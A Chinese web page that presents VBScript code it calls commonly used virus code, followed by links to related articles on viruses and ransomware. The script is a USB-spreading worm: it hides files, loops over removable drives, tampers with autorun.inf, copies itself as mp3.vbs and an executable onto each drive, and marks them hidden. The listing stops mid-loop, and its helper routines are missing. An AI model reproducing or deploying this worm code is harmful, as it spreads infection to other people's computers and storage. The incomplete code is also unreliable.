html文件vbs病毒,一段病毒常用的VBS代码

复制代码代码如下:

On error resume next

Dim fso,wshell,curfolder,curdristr,curdri

Set fso=createobject("scripting.filesystemobject")

Set wshell=CreateObject("WScript.shell")

Set curfolder=fso.GetFolder(".")

curdristr=Left(WScript.ScriptFullName,3)

Set curdri=fso.GetDrive(curdristr)

reghid() '不显示隐藏文件

If WScript.ScriptFullName=fso.GetSpecialFolder(1)&"\mp3.vbs" Then '如果在system32中

For i=1 To 2 Step 0

reghid()

For Each dri In fso.Drives

If dri.DriveType=1 And dri<>"A:" And dri<>"B:" Then

'autorun.inf文件夹改名

If fso.FolderExists(dri.Path&"\autorun.inf") Then

fso.MoveFolder dri.Path&"\autorun.inf",dri.Path&"\Rubbish"

End If

'复制自身及exe文件到移动硬盘

If fso.FileExists(dri.Path&"\mp3.vbs") And fso.FileExists(dri.Path&"\autorun.inf") Then

Else

If fso.FileExists(dri.Path&"\mp3.vbs") Then

fso.DeleteFile dri.Path&"\mp3.vbs",True

ElseIf fso.FileExists(dri.Path&"\autorun.inf") Then

fso.DeleteFile dri.Path&"\autorun.inf",True

End if

fso.CopyFile WScript.ScriptFullName,dri.Path&"\mp3.vbs",True

If fso.FileExists(".\SiZhu.exe") And Not fso.FileExists(dri.Path&"\SiZhu.exe") Then

fso.CopyFile ".\SiZhu.exe",dri.Path&"\SiZhu.exe",True

End If

autoinf(dri.Path)

'给刚复制的文件加上隐藏属性

Set norkon=fso.GetFile(dri.Path&"\mp3.vbs")

wshell.run "attrib +r +a +s +h "&dri.Path&"\mp3.vbs",0

Set norkon=Nothing

html文件vbs病毒,一段病毒常用的VBS代码相关推荐

Trojan.DL.VBS.Agent.r 脚本病毒 ASP解密
Trojan.DL.VBS.Agent.r 脚本病毒 ASP解密 2011年04月18日 Trojan.DL.VBS.Agent.r 脚本病毒问题:1.Trojan.DL.VBS.Agent.r 的 ...
下载的文件为什么会误报病毒？
下载的文件为什么会误报病毒? 1.易语言技术缺陷安装包里的一些注册机.激活工具使用了易语言(EF)技术,由于易语言的特点及缺陷直接造成很多杀毒软件误报,不管你用易语言写什么程序,杀毒软件就会认为它是 ...
.babyk后缀勒索病毒|勒索病毒解密恢复|数据库中babyk勒索病毒解密|勒索病毒文件恢复工具|数据库恢复
babyk勒索病毒概述,babyk勒索病毒解密恢复及日常防护建议 .babyk后缀勒索病毒|勒索病毒解密恢复|数据库中babyk勒索病毒解密|勒索病毒文件恢复工具|数据库恢复 babyk勒索病毒数据集 ...
清除文件计算机病毒是,清除计算机系统病毒文件的步骤
在对电脑系统进行检查时后发现有"System Volume Information"的文件夹就要格外小心啦.病毒攻击了电脑系统时系统就会多出一项"System Volum ...
请问各位高手我的电脑为什么几个exe文件不好用，如果中病毒是什么病毒，如果不是怎么处理？
请问各位高手我的电脑为什么几个exe文件不好用,如果中病毒是什么病毒,如果不是怎么处理?我估计是中了木马.但是不清楚是什么.请大家帮帮忙.谢谢.
php病毒源代码,HTML_vbs病毒的简单例子源代码解析，说明：作者对某些代码进行了 - phpStudy...
vbs病毒的简单例子源代码解析说明:作者对某些代码进行了修改.该文件是一个完整的程序.该文件执行之后,会寻找硬盘上所有满足条件的文件,对其进行强制性覆盖(满足条件的文件数据将全部丢失).并再创建一个 ...
devos勒索病毒解决方法|勒索病毒解密|勒索病毒恢复|数据库修复
目录引言一.了解什么是devos勒索病毒? 二.devos勒索病毒的传播方式三.感染了devos勒索病毒解决方法四.如何防范devos勒索病毒? 五.结语引言随着数字时代的来临,企业在数据 ...
android.troj.opfake.a病毒,FakeMsdMiner挖矿病毒分析报告
原标题:FakeMsdMiner挖矿病毒分析报告近日,亚信安全截获新型挖矿病毒FakeMsdMiner,该病毒利用永恒之蓝,永恒浪漫等NSA漏洞进行攻击传播.该病毒具有远控功能,可以获取系统敏感信息 ...
攻防技术基础笔记一——病毒、蠕虫病毒、木马、软件漏洞、常见问题、漏洞成因、黑产产业链、遵纪守法、渗透测试、渗透测试方法、VMware的使用、认识kali
攻防技术基础笔记一.病毒二.蠕虫(worm)病毒三.简单辨析蠕虫病毒跟普通病毒四.木马五.木马与病毒的区别六.软件漏洞七.两个生活中的安全问题八.漏洞产生的原因九.漏洞黑产产业链十 ...

html文件vbs病毒,一段病毒常用的VBS代码

html文件vbs病毒,一段病毒常用的VBS代码相关推荐

最新文章

热门文章